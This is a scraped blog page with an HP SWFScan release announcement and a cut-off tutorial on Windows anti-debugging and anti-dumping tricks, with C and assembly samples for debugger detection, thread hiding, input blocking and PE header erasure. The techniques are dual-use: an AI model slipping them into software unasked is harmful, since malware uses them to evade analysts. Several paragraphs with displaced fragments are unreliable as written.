Web Application Firewall

HP SWFScan

2009-04-09T02:35:00.000-07:00

After months of hard work and late caffeine-fueled nights, HP's Web Security Research Group is proud to release HP SWFScan.

HP SWFScan is a free security tool to developers find and fix security vulnerabilities in applications developed with the Adobe Flash Platform. The tool is the first of its kind to decompile applications developed with the Flash platform and perform static analysis to understand their behaviors. This helps developers without security backgrounds identify vulnerabilities hidden within the application which cannot be detected with dynamic analysis methods.

Simply, point HP SWFScan at the SWF file for any Flash application and it will:

* Decompile the ActionScript 2 or ActionScript 3 bytecode back to the original source code.
* Audit the code for over 60 vulnerabilities including exposure of confidential data, Cross-Site Scripting (XSS) and cross-domain privilege escalation.
* Validate the Flash application adherence with Adobe's security best practices.

HP SWFScan is not the first free Flash tool. Excellent decompilers such as Flare or OWASP's SWFIntruder security tool have existed for a few years now. Unfortunately, the capabilities of free tools have not kept up with new Flash innovations such as the introduction of Flash 9 and 10, ActionScript 3, and Adobe's Flex framework. HP's SWFScan is the first and only free tool to decompile both ActionScript 2 and ActionScript 3 and analyze them for security vulnerabilities.

In addition, HP SWFScan offers several other features to help developers, code auditor/reviewers, and pen-testers examine the contents of Flash applications, including:

* Highlighting the line of source code that contains the vulnerability to help better understand the context of the issue.
* Providing summaries, details, and remediation advice for each vulnerability in accordance with Adobe's recommendation for secure Flash development.
* Generating a vulnerability report to share and solve the detected issues.
* Exporting the decompiled source code for use with other external tools.
* Revealing all the URLs and web services the Flash Application contacts.
* Flagging class names, function names, or variable names that may be of interest such as loadedUserXml or crypt()

Download SWFScan: http://www.metasecurity.org/securityplus/2009/SwfScan.zip
Release notes: http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/exposing-flash-application-vulnerabilities-with-swfscan.aspx

FAQ: http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/hp-swfscan-faq.aspx

Enjoy!

Billy Hoffman
--
Manager, HP Web Security Research Group
HP Software - Application Security Center
Direct: 770-343-7069

Anti Debug

2009-04-09T02:32:00.000-07:00

Introduction

In my previous article, I gave a short introduction into some Anti-Debugging/Debugger Detection techniques that primarily involved the use of Win32 API functions. In this article, I plan to travel a bit deeper into the interesting world of reverse engineering and explore some more intermediate level techniques for annoying reverse engineers. Some comments in my previous article noted that the techniques I presented could, and are most of the time, easily bypassed by intermediate level reversers; one statement I would like to make is that there is an ongoing battle between the coders who develop programs that protect against cracking and reverse engineering and the engineers themselves. Every time the protectors release a new technique, the engineers find a way around that specific method. This is the driving force behind the cracking "scene" and anti-reverse engineering fields. Most of the techniques here can easily be bypassed, and some of the others aren't as easily taken out of the picture; however, all of them can in one way, shape, or form be bypassed. I'm presenting these methods here to share the knowledge, and perhaps inspire others to find ways to apply these methods and utilize them in new and creative ways that challenge contemporary methodology.

Background

Anyone who is interested in the field of reverse engineering needs a strong understanding of Assembly language, so if your ASM is a little rusty or if you're just beginning to learn, here are some sites that can assist:

Inline Functions

I didn't feel this side note required its own section; however, when reading this article or the attached source, one will notice the functions being marked inline. While this can cause bloat inside an executable, it is important in anti-reverse engineering. If there are very detailed function entries and sections, then the job for the reverse engineer just got much easier. Now, he or she knows exactly what is happening when that function is called. When in-lining, this doesn't happen, and the engineer is left guessing as to what is actually happening.

Breakpoints

There are three types of breakpoints available to a reverse engineer: hardware, memory, and INT 3h breakpoints. Breakpoints are essential to a reverse engineer, and without them, live analysis of a module does him or her little good. Breakpoints allow for the stopping of execution of a program at any point where one is placed. By utilizing this, reverse engineers can put breakpoints in areas like Windows APIs, and can very easily find where a badboy message (a messagebox saying you entered a bad serial, for example) is coming from. In fact, this is probably the most utilized technique in cracking, the only competition would be a referenced text string search. This is why breakpoint checks are done over important APIs like MessageBox, VirtualAlloc, CreateDialog, and others that play an important role in the protecting user information process. The first example will cover the most common type of breakpoint which utilizes the INT 3h instruction.

INT 3

INT 3h breakpoints are represented in in the IA-32 instruction set with the opcode CC (0xCC). This is the most common expression of this type of breakpoint; however, it can also be expressed as the byte sequence 0xCD 0x03 which can cause some troubles. Detecting this type of breakpoint is relatively simple, and some source would look like the following sample. However, we should be careful because using this method of scanning can lead to false positives.

Collapse Copy Code

bool CheckForCCBreakpoint(void* pMemory,  size_t SizeToCheck)
{
    unsigned char *pTmp = (unsigned char*)pMemory;
   for (size_t i = 0; i < SizeToCheck; i++)
    {
        if(pTmp[i] == 0xCC)
            return true;
    }

   return false;
}

Here's another obfuscated method for checking for INT 3 breakpoints. It is important to remember that the code shown above would stick out like a sore thumb to even new reversers. By adding another level of indirection, you, the protector, are improving your chances of successfully protecting the application.

Collapse Copy Code

bool CheckForCCBreakpointXor55(void* pMemory,  size_t SizeToCheck)
{
    unsigned char *pTmp = (unsigned char*)pMemory;
   unsigned char tmpchar = 0;
      
   for (size_t i = 0; i < SizeToCheck; i++)
    {
       tmpchar = pTmp[i];
       if( 0x99 == (tmpchar ^ 0x55) ) // 0xCC xor 0x55 = 0x99
           return true;
    }

   return false;
}

Memory Breakpoints

Memory breakpoints are implemented by a debugger using guard pages, and they act like "a one-shot alarm for memory page access" (Creating Guard Pages). In a nutshell, when a page of memory is marked as PAGE_GUARD and is accessed, a STATUS_GUARD_PAGE_VIOLATION exception is raised, which can then be handled by the current program. At the moment, there's no accurate way to check for memory breakpoints. However, we can use the techniques a debugger uses to implement memory breakpoints to discover if our program is currently running under a debugger. In essence, what occurs is that we allocate a dynamic buffer and write a RET to the buffer. We then mark the page as a guard page and push a potential return address onto the stack. Next, we jump to our page, and if we're under a debugger, specifically OllyDBG, then we will hit the RET instruction and return to the address we pushed onto the stack before we jumped to our page. Otherwise, a STATUS_GUARD_PAGE_VIOLATION exception will occur, and we know we're not being debugged by OllyDBG. Here is an example in source:

Collapse Copy Code

bool MemoryBreakpointDebuggerCheck()
{
    unsigned char *pMem = NULL;
    SYSTEM_INFO sysinfo = {0};
    DWORD OldProtect = 0;
    void *pAllocation = NULL; // Get the page size for the system 

   GetSystemInfo(&sysinfo); // Allocate memory 

   pAllocation = VirtualAlloc(NULL, sysinfo.dwPageSize,
                       MEM_COMMIT | MEM_RESERVE,
                        PAGE_EXECUTE_READWRITE);
      
   if (pAllocation == NULL)
       return false;
  
   // Write a ret to the buffer (opcode 0xc3)
   pMem = (unsigned char*)pAllocation;
   *pMem = 0xc3;
  
   // Make the page a guard page         
   if (VirtualProtect(pAllocation, sysinfo.dwPageSize,
                   PAGE_EXECUTE_READWRITE | PAGE_GUARD,
                   &OldProtect) == 0)
   {
       return false;
   }
  
   __try
   {
       __asm
       {
           mov eax, pAllocation
           // This is the address we'll return to if we're under a debugger
           push MemBpBeingDebugged
           jmp eax // Exception or execution, which shall it be :D?
       }
   }
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
       // The exception occured and no debugger was detected
       VirtualFree(pAllocation, NULL, MEM_RELEASE);
       return false;
   }    
  
   __asm{MemBpBeingDebugged:}
   VirtualFree(pAllocation, NULL, MEM_RELEASE);
   return true;
}

Hardware Breakpoints

Hardware breakpoints are a technology implemented by Intel in their processor architecture, and are controlled by the use of special registers known as Dr0-Dr7. Dr0 through Dr3 are 32 bit registers that hold the address of the breakpoint. Dr4 and 5 are reserved by Intel for debugging the other registers, and Dr6 and 7 are used to control the behavior of the breakpoints (Intel1). There is a little bit too much information for me to cover how the Dr6 and Dr7 registers affect breakpoint behavior. However, anyone who is interested should read the Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3B: System Programming Guide for an in-depth explanation of how the registers work.

Now, in order to detect and/or remove hardware breakpoints, there are two methods we can utilize: the Win32 GetThreadContext and SetThreadContext, or using Structured Exception Handling. In the first example, I'll show how to use the Win32 API functions:

Collapse Copy Code

// CheckHardwareBreakpoints returns the number of hardware 
// breakpoints detected and on failure it returns -1.
int CheckHardwareBreakpoints()
{
   unsigned int NumBps = 0;

   // This structure is key to the function and is the 
   // medium for detection and removal
   CONTEXT ctx;
   ZeroMemory(&ctx, sizeof(CONTEXT));
  
   // The CONTEXT structure is an in/out parameter therefore we have
   // to set the flags so Get/SetThreadContext knows what to set or get.
   ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
  
   // Get a handle to our thread
   HANDLE hThread = GetCurrentThread();

   // Get the registers
   if(GetThreadContext(hThread, &ctx) == 0)
       return -1;

   // Now we can check for hardware breakpoints, its not 
   // necessary to check Dr6 and Dr7, however feel free to
   if(ctx.Dr0 != 0)
       ++NumBps;
   if(ctx.Dr1 != 0)
          ++NumBps;
   if(ctx.Dr2 != 0)
          ++NumBps;
   if(ctx.Dr3 != 0)
       ++NumBps;
      
   return NumBps;
}

The SEH method of manipulating the debug registers is much more commonly seen in anti-reverse engineering programs, and is implemented easier in ASM, as shown in the following example:

Collapse Copy Code

; One quick note about this little prelude; in Visual Studio 2008 
; release builds are compiled with the /SAFESEH flag which helps
; prevent exploitation of SEH by shellcode and the likes.
; What this little snippet does is add our SEH Handler to a
; special table containing a list of "safe" exceptions handlers , which
; if we didn't in release builds our handler would never be called,
; this problem plauged me for a long time, and im considering writing
; a short article on it

ClrHwBpHandler proto
.safeseh ClrHwBpHandler

ClearHardwareBreakpoints proc
    assume fs:nothing
    push offset ClrHwBpHandler
   push fs:[0]
   mov dword ptr fs:[0], esp ; Setup SEH
    xor eax, eax
    div eax ; Cause an exception
    pop dword ptr fs:[0] ; Execution continues here
    add esp, 4
    ret
ClearHardwareBreakpoints endp

ClrHwBpHandler proc
    xor eax, eax
   mov ecx, [esp + 0ch] ; This is a CONTEXT structure on the stack
    mov dword ptr [ecx + 04h], eax ; Dr0
    mov dword ptr [ecx + 08h], eax ; Dr1
    mov dword ptr [ecx + 0ch], eax ; Dr2
    mov dword ptr [ecx + 10h], eax ; Dr3
    mov dword ptr [ecx + 14h], eax ; Dr6
    mov dword ptr [ecx + 18h], eax ; Dr7
    add dword ptr [ecx + 0b8h], 2 ; We add 2 to EIP to skip the div eax
    ret
ClrHwBpHandler endp

Timing Attacks

The theory behind timing attacks is that executing a section of code, especially a small section, should only take a miniscule amount of time. Therefore, if a timed section of code takes a greater amount of time than a certain set limit, then there is most likely a debugger attached, and someone is stepping through the code. This genre of attacks has many small variations, and the most common example uses the IA-32 RDTSC instruction. Other methods utilize different timing methods such as timeGetTime, GetTickCount, and QueryPerformanceCounter.

RDTSC

RDTSC is an IA-32 instruction that stands for Read Time-Stamp Counter, which is pretty self-explanatory in itself. Processors since the Pentium have had a counter attached to the processor that is incremented every clock cycle, and reset to 0 when the processor is reset. As you can see, this is a very powerful timing technique; however, Intel doesn't serialize the instruction; therefore, it is not guaranteed to be 100% accurate. This is why Microsoft encourages the use of its Win32 timing APIs since they're supposed to be as accurate as Windows can guarantee. The great thing about timing attacks, in general, though is that implementing the technique is rather simple; all a developer needs to do is decide which functions he or she would like to protect using a timing attack, and then he or she can simply surround the blocks of code in a timing block and can compare that to a programmer set limit, and can exit the program if the timed section takes too much time to execute. Here is an example:

Collapse Copy Code

#define SERIAL_THRESHOLD 0x10000 // 10,000h ticks

DWORD GenerateSerial(TCHAR* pName)
{
   DWORD LocalSerial = 0;

   DWORD RdtscLow = 0; // TSC Low
   __asm
   {
       rdtsc
       mov RdtscLow, eax
   }
  
   size_t strlen = _tcslen(pName);
  
   // Generate serial 

   for(unsigned int i = 0; i < strlen; i++)
   {
       LocalSerial += (DWORD) pName[i];
       LocalSerial ^= 0xDEADBEEF;
   }

   __asm
   {
       rdtsc
       sub eax, RdtscLow
       cmp eax, SERIAL_THRESHOLD
       jbe NotDebugged
       push 0
       call ExitProcess
       NotDebugged:
   }
   return LocalSerial;
}

Win32 Timing Functions

The concepts are exactly the same in this variation except that we have different means of timing our function. In the following example, GetTickCount is used, but as commented, could be replaced with timeGetTime or QueryPerformanceCounter.

Collapse Copy Code

#define SERIAL_THRESHOLD 0x10000 // 10,000h ticks


GenerateSerialWin32Attack(TCHAR* pName)
{
   DWORD LocalSerial = 0;
   size_t strlen = _tcslen(pName);

   DWORD Counter = GetTickCount(); // Could be replaced with timeGetTime()

    // Generate serial 
   for(unsigned int i = 0; i < strlen; i++)
   {
       LocalSerial += (DWORD) pName[i];
       LocalSerial ^= 0xDEADBEEF;
   }
  
   Counter = GetTickCount() - Counter; // Could be replaced with timeGetTime() 
   if(Counter >= SERIAL_THRESHOLD)
       ExitProcess(0);
  
   return LocalSerial;
}

Windows Internals

The following methods of anti-reverse engineering utilize the peculiarities of the Windows Operating System in order to implement some sort of protection, ranging from hiding a thread from a debugger, to revealing the presence of a debugger. Many of the functions used in the following examples are exported from ntdll.dll, and are not guarenteed by Microsoft to behave consistently in different versions of the Operating System. Therefore, some caution should be taken when using these examples in your own programs. That being said, I have yet to see one of these APIs change drastically in behavior, so do not take the previous statement as a commandment to avoid these implementations.

ProcessDebugFlags

The ProcessDebugFlags (0x1f) is an undocumented class that can be passed to the NtQueryProcessInformation function. When NtQueryProcessInformation is called with the ProcessDebugFlags class, the function will return the inverse of EPROCESS->NoDebugInherit, which means that if a debugger is present, then this function will return FALSE if the process is being debugged. Here's the CheckProcessDebugFlags:

Collapse Copy Code

// CheckProcessDebugFlags will return true if 
// the EPROCESS->NoDebugInherit is == FALSE, 
// the reason we check for false is because 
// the NtQueryProcessInformation function returns the
// inverse of EPROCESS->NoDebugInherit so (!TRUE == FALSE)
inline bool CheckProcessDebugFlags()
{
   // Much easier in ASM but C/C++ looks so much better
   typedef NTSTATUS (WINAPI *pNtQueryInformationProcess)
       (HANDLE ,UINT ,PVOID ,ULONG , PULONG);

   DWORD NoDebugInherit = 0;
   NTSTATUS Status;

   // Get NtQueryInformationProcess
   pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)
       GetProcAddress( GetModuleHandle( TEXT("ntdll.dll") ),
       "NtQueryInformationProcess" );

   Status = NtQIP(GetCurrentProcess(),
           0x1f, // ProcessDebugFlags
           &NoDebugInherit, 4, NULL);

   if (Status != 0x00000000)
       return false;

   if(NoDebugInherit == FALSE)
       return true;
   else
       return false;
}

Debug Object Handle

Beginning from Windows XP, when a process is debugged, a debug object would be created for that debugging session. A handle to this object is also created, and can be queried using NtQueryInformationProcess. The presence of this handle shows that the process is being actively debugged, and this information can be quite a pain to hide since it comes from the kernel. Here's the DebugObjectCheck function:

Collapse Copy Code

// This function uses NtQuerySystemInformation
// to try to retrieve a handle to the current
// process's debug object handle. If the function
// is successful it'll return true which means we're
// being debugged or it'll return false if it fails
// or the process isn't being debugged
inline bool DebugObjectCheck()
{
   // Much easier in ASM but C/C++ looks so much better
   typedef NTSTATUS (WINAPI *pNtQueryInformationProcess)
           (HANDLE ,UINT ,PVOID ,ULONG , PULONG);

   HANDLE hDebugObject = NULL;
   NTSTATUS Status;

   // Get NtQueryInformationProcess
   pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)
               GetProcAddress(  GetModuleHandle( TEXT("ntdll.dll") ),
               "NtQueryInformationProcess" );

   Status = NtQIP(GetCurrentProcess(),
           0x1e, // ProcessDebugObjectHandle
           &hDebugObject, 4, NULL);
  
   if (Status != 0x00000000)
       return false;

   if(hDebugObject)
       return true;
   else
       return false;
}

Thread Hiding

In Windows 2000, the guys behind Windows introduced a new class to be passed into NtSetInformationThread, and it was named HideThreadFromDebugger. It is the first anti-debugging API implemented by Windows, and is very powerful. The class prevents debuggers from receiving events from any thread that has had NtSetInformationThread with the HideThreadFromDebuggerHideThread function: class called on it. These events include breakpoints, and the exiting of the program if it is called on the main thread of an application. Here is the

Collapse Copy Code

// HideThread will attempt to use
// NtSetInformationThread to hide a thread
// from the debugger, Passing NULL for
// hThread will cause the function to hide the thread
// the function is running in. Also, the function returns
// false on failure and true on success
inline bool HideThread(HANDLE hThread)
{
   typedef NTSTATUS (NTAPI *pNtSetInformationThread)
               (HANDLE, UINT, PVOID, ULONG);
   NTSTATUS Status;

   // Get NtSetInformationThread
   pNtSetInformationThread NtSIT = (pNtSetInformationThread)
       GetProcAddress(GetModuleHandle( TEXT("ntdll.dll") ),
       "NtSetInformationThread");

   // Shouldn't fail
   if (NtSIT == NULL)
       return false;

   // Set the thread info
   if (hThread == NULL)
       Status = NtSIT(GetCurrentThread(),
               0x11, // HideThreadFromDebugger
               0, 0);
   else
       Status = NtSIT(hThread, 0x11, 0, 0);

   if (Status != 0x00000000)
       return false;
   else
       return true;
}

BlockInput

This is about as simple as it comes. BlockInput does as the names suggests, and blocks mouse and keyboard messages from reaching the desired application; this technique is effective due to the fact that only the thread that called BlockInput can call it to remove the block ("BlockInput Function"). This isn't really an anti-reverse engineering technique, but more of a way to mess with someone debugging your application. A simple source code looks like:

Collapse Copy Code

BlockInput(TRUE); // Nice and simple :D

OutputDebugString

The OutputDebugString technique works by determining if OutputDebugString causes an error. An error will only occur if there is no active debugger for the process to receive the string; therefore, we can conclude that if there is no error (by calling GetLastError) after calling OutputDebugString, then there is a debugger present.

Collapse Copy Code

// CheckOutputDebugString checks whether or 
// OutputDebugString causes an error to occur
// and if the error does occur then we know 
// there's no debugger, otherwise if there IS
// a debugger no error will occur
inline bool CheckOutputDebugString(LPCTSTR String)
{
   OutputDebugString(String);
   if (GetLastError() == 0)
       return true;
   else
       return false;
}

Process Exploitation

These techniques exploit the Windows process environment and management system in order to implement protection. Some of these techniques, especially self-debugging, are widely used by many packers and protectors.

Open Process

This debugger detection technique exploits process privileges in order to determine if a process is currently being run under a debugger. This technique works because when a process is attached to or run under a debugger, if the process privileges are not correctly reset by the attaching debugger, the process receives the SeDebugPrivilege set which allows the process to open a handle to any process ("How To Use the SeDebugPrivilege to Acquire Any Process Handle"). This includes a vital system process like csrss.exe, which we normally wouldn't have access to. Here is some source code to illustrate the technique:

Collapse Copy Code

// The function will attempt to open csrss.exe with 
// PROCESS_ALL_ACCESS rights if it fails we're 
// not being debugged however, if its successful we probably are
inline bool CanOpenCsrss()
{
   HANDLE Csrss = 0;

   // If we're being debugged and the process has
   // SeDebugPrivileges privileges then this call
   // will be successful, note that this only works
   // with PROCESS_ALL_ACCESS.
   Csrss = OpenProcess(PROCESS_ALL_ACCESS,
               FALSE, GetCsrssProcessId());
  
   if (Csrss != NULL)
   {
       CloseHandle(Csrss);
       return true;
   }       
   else
       return false;
}

Parent Process

Normally, Windows users start a process from a window created or provided by the Windows Shell. In this situation, the child process's parent process is Explorer.exe. Therefore, we can retrieve the process ID of Explorer.exe and our parent process and compare them. This is, of course, a somewhat risky process since the parent process of your process isn't guaranteed to be Explorer.exe; nonetheless, it is still an interesting technique, and here is an example:

Collapse Copy Code

// This function returns true if the parent process of
// the current running process is Explorer.exe
inline bool IsParentExplorerExe()
{
   // Both GetParentProcessId and GetExplorerPIDbyShellWindow
   // can be found in the attached source
   DWORD PPID = GetParentProcessId();
   if(PPID == GetExplorerPIDbyShellWindow())
       return true;
   else
       return false;
       //return GetParentProcessId() == GetExplorerPIDbyShellWindow()'
}

Self-Debugging

Self-Debugging is a technique where the main process spawns a child process that debugs the process that created the child process, as shown in the diagram. This technique can be very useful as it can be utilized to implement techniques such as Nanomites and others. This also prevents other debuggers from attaching to the same process; however, this can be bypassed be setting the EPROCESS->DebugPort (the EPROCESS structure is a struct returned by the kernel mode function PsGetProcessId) field to 0. This allows another debugger to attach to a process that already has a debugger attached to it. Here's some sample code:

Collapse Copy Code

// Debug self is a function that uses CreateProcess
// to create an identical copy of the current process
// and debugs it
void DebugSelf()
{
   HANDLE hProcess = NULL;
   DEBUG_EVENT de;
   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
   ZeroMemory(&si, sizeof(STARTUPINFO));
   ZeroMemory(&de, sizeof(DEBUG_EVENT));

   GetStartupInfo(&si);

   // Create the copy of ourself
   CreateProcess(NULL, GetCommandLine(), NULL, NULL, FALSE,
           DEBUG_PROCESS, NULL, NULL, &si, &pi);

   // Continue execution
   ContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);

   // Wait for an event
   WaitForDebugEvent(&de, INFINITE);
}

UnhandledExceptionFilter

The UnhandledExceptionFilter is the long name for an exception handler that is called when there are no other handlers to handle the exception. The following diagram shows how Windows propagates exceptions. When utilizing the UnhandledExceptionFilter technique, one needs to be aware that if a debugger is attached, that process will exit instead of resuming execution, which in the context of anti-reverse engineering is quite fine, in my opinion.

Collapse Copy Code

LONG WINAPI UnhandledExcepFilter(PEXCEPTION_POINTERS pExcepPointers)
{
   // Restore old UnhandledExceptionFilter
   SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)
         pExcepPointers->ContextRecord->Eax);

   // Skip the exception code
   pExcepPointers->ContextRecord->Eip += 2;

   return EXCEPTION_CONTINUE_EXECUTION;
}

int main()
{
   SetUnhandledExceptionFilter(UnhandledExcepFilter);
   __asm{xor eax, eax}
   __asm{div eax}

   // Execution resumes here if there is no debugger
   // or if there is a debugger it will never
   // reach this point of execution
}

NtQueryObject

The NtQueryObject function, when called with the ObjectAllTypesInformation class, will return information about the host system and the current process. There is a wealth of information to be mined from this function, but we're most concerned with the information given about the DebugObjects in the environment. In Windows XP and Vista, a DebugObject entry is maintained in this list of objects, and most importantly, the number of objects of each type of object. The object and its related information can be expressed as a OBJECT_INFORMATION_TYPE struct. However, calling the NtQueryObject function with the ObjectAllTypesInformation class actually returns a buffer that begins with a OBJECT_TYPE_INFORMATION struct. However, there is more than one OBJECT_INFORMATION_TYPE entry, and traversing the buffer containing these entries isn't as straightforward as array indexing. The source shows that the next OBJECT_INFORMATION_TYPE struct lies after the previous' UNICODE_STRING.Buffer entry. These structs are also padded and DWORD aligned; refer to the source to examine how to navigate the buffer.

Collapse Copy Code

typedef struct _OBJECT_TYPE_INFORMATION {
   UNICODE_STRING TypeName;
   ULONG TotalNumberOfHandles;
   ULONG TotalNumberOfObjects;
}OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

typedef struct _OBJECT_TYPE_INFORMATION {
   UNICODE_STRING TypeName;
   ULONG TotalNumberOfHandles;
   ULONG TotalNumberOfObjects;
}OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

// ObjectListCheck uses NtQueryObject to check the environments
// list of objects and more specifically for the number of
// debug objects. This function can cause an exception (although rarely)
// so either surround it in a try catch or __try __except block
// but that shouldn't happen unless one tinkers with the function
inline bool ObjectListCheck()
{
   typedef NTSTATUS(NTAPI *pNtQueryObject)
           (HANDLE, UINT, PVOID, ULONG, PULONG);

   POBJECT_ALL_INFORMATION pObjectAllInfo = NULL;
   void *pMemory = NULL;
   NTSTATUS Status;
   unsigned long Size = 0;

   // Get NtQueryObject
   pNtQueryObject NtQO = (pNtQueryObject)GetProcAddress(
               GetModuleHandle( TEXT( "ntdll.dll" ) ),
               "NtQueryObject" );

   // Get the size of the list
   Status = NtQO(NULL, 3, //ObjectAllTypesInformation
                       &Size, 4, &Size);

   // Allocate room for the list
   pMemory = VirtualAlloc(NULL, Size, MEM_RESERVE | MEM_COMMIT,
                   PAGE_READWRITE);

   if(pMemory == NULL)
       return false;

   // Now we can actually retrieve the list
   Status = NtQO((HANDLE)-1, 3, pMemory, Size, NULL);

   // Status != STATUS_SUCCESS
   if (Status != 0x00000000)
   {
       VirtualFree(pMemory, 0, MEM_RELEASE);
       return false;
   }

   // We have the information we need
   pObjectAllInfo = (POBJECT_ALL_INFORMATION)pMemory;

   unsigned char *pObjInfoLocation =
       (unsigned char*)pObjectAllInfo->ObjectTypeInformation;

   ULONG NumObjects = pObjectAllInfo->NumberOfObjects;

   for(UINT i = 0; i < NumObjects; i++)
   {

       POBJECT_TYPE_INFORMATION pObjectTypeInfo =
           (POBJECT_TYPE_INFORMATION)pObjInfoLocation;

       // The debug object will always be present
       if (wcscmp(L"DebugObject", pObjectTypeInfo->TypeName.Buffer) == 0)
       {
           // Are there any objects?
           if (pObjectTypeInfo->TotalNumberOfObjects > 0)
           {
               VirtualFree(pMemory, 0, MEM_RELEASE);
               return true;
           }
           else
           {
               VirtualFree(pMemory, 0, MEM_RELEASE);
               return false;
           }
       }

       // Get the address of the current entries
       // string so we can find the end
       pObjInfoLocation =
           (unsigned char*)pObjectTypeInfo->TypeName.Buffer;

       // Add the size
       pObjInfoLocation +=
               pObjectTypeInfo->TypeName.Length;

       // Skip the trailing null and alignment bytes
       ULONG tmp = ((ULONG)pObjInfoLocation) & -4;

       // Not pretty but it works
       pObjInfoLocation = ((unsigned char*)tmp) +
                       sizeof(unsigned long);
   }

   VirtualFree(pMemory, 0, MEM_RELEASE);
   return true;
}

Anti-Dumping

"Dumping", a special term used in the reverse engineering realm, describes the process of taking an executable that has been protected and after the executable has been decrypted into memory, taking what is essentially a snapshot of the program and saving it onto disk, as shown by the following diagram. There are many techniques to prevent the dumping of an executable file that has been encrypted or compressed, and the following techniques are some of the more popular or better documented methods.

Nanomites

I find this technique to be very interesting, and it works by replacing certain branch instructions, JccINT 3 breakpoints; information about the removed jumps is then stored in a heavily encrypted table. This information includes the destination of the jump, the required CPU flags, and the size of the jump (normally, either two or five bytes). Then, by using self-debugging, when one of these breakpoints is hit, the debugging process will handle the debug exception, and will look up certain information about the debugging break. This information is whether or not the breakpoint is a Nanomite or a real debug breakpoint, whether or not the jump should be taken (this includes comparing the EFLAGS registers appropriately for the jump type, i.e.., JNZ needs ZF = 0). If it is, then the address of the jump is retrieved and the execution in the debuggee will resume from there, and if it is not, then the length of the replaced jump is retrieved, and the size of that specific jump is skipped in the debuggee, and execution resumes. Now, to make things even worse, random INT 3 instructions will be placed at unreachable parts of codes, and entries will be made in the Nanomite table. There are even entries that do not have a corresponding INT 3 but are placed there to annoy reverse engineers. When used in the correct places inside an executable, this technique is very powerful, and has almost no impact on performance. Unfortunately, the source code for this technique is far too complicated for this article. instructions, within a program with

Stolen Bytes (Stolen Code)

This is a technique introduced by ASprotect, and can be entertaining to someone who has never encountered the method. In the stolen bytes routine, code or bytes from the original process protected by the packer are removed, often from the OEP (Original Entry Point), and are encrypted somewhere inside the packing code. The area where the bytes are is then replaced with code that will jump to a dynamically allocated buffer that contains the decrypted bytes that were "stolen" from the original code; this buffer also contains a jump back to the appropriate address of execution. More often than not, both the area were the bytes were removed from and the dynamically allocated buffer where the original bytes reside are filled with junk code and even more anti-reverse engineering techniques. This can be a powerful technique if the underlying concept is hidden from the reverse engineer; otherwise, it's not too hard to fix.

SizeOfImage

SizeOfImage is a field in IMAGE_OPTION_HEADER of a PE file, and by increasing the size of this field in the PEB at runtime, we can cause problems for tools that weren't developed to handle this problem. This method is easily applied to an application, and is easily defeated by reversing applications by enumerating all pages with the MEM_IMAGE flag, starting at the application's ImageBase page. This works because there cannot be a gap in the pages in memory. Here is some sample code:

Collapse Copy Code

// Any unreasonably large value will work say for example 0x100000 or 100,000h
void ChangeSizeOfImage(DWORD NewSize)
{
   __asm
   {
       mov eax, fs:[0x30] // PEB
       mov eax, [eax + 0x0c] // PEB_LDR_DATA
       mov eax, [eax + 0x0c] // InOrderModuleList
       mov dword ptr [eax + 0x20], NewSize // SizeOfImage
   }
}

Virtual Machines

Virtualization is considered the future of anti-reverse engineering, and has very much already made it into the present. Protectors like Themida and VMProtect already use virtual machines in their protection schemes. The simple use of virtual machines isn't the extent of the technique, however. Themida, for example, uses a technology that creates a unique virtual machine for every protected executable that utilizes the virtual machine protection. By implementing virtual machines this way, Themida prevents the use of a generic attack against its virtualization protection. Also, many protection schemes that utilize virtual machines often implement junk code instructions in their virtual machine byte code, much like junk code is inserted in native IA-32 code (Ferrie).

Guard Pages

Packers and protectors can utilize guard pages to implement, what is in essence, an on-demand decryption/decompression system. When the executable is loaded into memory instead of decompressing/decrypting the entire contents of the file at run-time, the protector will simply mark all pages that were not immediately needed as guard pages. After that is done, when another section of code or data is needed, an EXCEPTION_GUARD_PAGE (0x80000001) exception will be raised, and the data can be decrypted or decompressed either from file or from encrypted/compressed contents in memory.

This technique has been implemented in two ways, one by hooking KiUserUserDispatcherKiUserUserDispatcher, to find where the exception occurred and if the exception occurred in the process space of the protected executable; if it was, then the contents will be decompressed from the disk into the page where the program is either expecting data or executable code. Utilizing this technique can significantly reduce loading times and reduce memory usage for an executable file, because only pages that are needed are ever backed by physical memory (RAM), and only the pages that need to be used are decompressed and decrypted. (Shrinker), and by using Self-Debugging (Armadillo's CopyMemoryII) (Ferrie). In the case of Shrinker, when an exception is raised, a check is made, from the hook placed on

Armadillo also implements this technique under the name of CopyMemII, and it behaves in a similar fashion with the exception that it requires the use of self-debbugging; also, instead of having empty pages and loading the pages from disk, CopyMemII simply decompresses the pages into memory. Note that this does not decrypt the pages; therefore, the code and data is still secure. Then, when a page that has not been decrypted is accessed, an EXCEPTION_GUARD_PAGE (0x80000001) exception will be raised, and the process that is the debugger will catch the exception and decrypt the page as needed. There is, however, a weakness in Armadillo's implementation of the technique, and that is that once a page is decrypted, it will stay decrypted in memory. By exploiting this weakness, a reverse engineer could force the process to touch every page needed by the program and leave the entire program decrypted in memory and in perfect shape for a dump. In both implementations of this technique, the processes will only decrypt or decompress a page at a time; therefore, if an access spans more than one page, the protector will simply allow for the next exception to occur and decrypt that page. As a final note, if the protectors were to remember the last accessed page and were to discard or erase the last used page before decrypting the next page, then this technique would be extremely powerful.

Removing the Portable Executable Header

This is a simple anti-dumping technique that removes an executable's portable executable from memory at runtime; by doing this, a dumped image would be missing important information such as the RVA (Relative Virtual Address) of important tables (Reloc, Import, Export etc..), the entry point, and other information that the Windows loader needs to utilize when loading an image. One would want to be careful when utilizing this technique, because the Windows API or maybe legitimate external programs may need access to this information which has been removed.

Collapse Copy Code

// This function will erase the current images
// PE header from memory preventing a successful image
// if dumped
inline void ErasePEHeaderFromMemory()
{
   DWORD OldProtect = 0;
  
   // Get base address of module
   char *pBaseAddr = (char*)GetModuleHandle(NULL);

   // Change memory protection
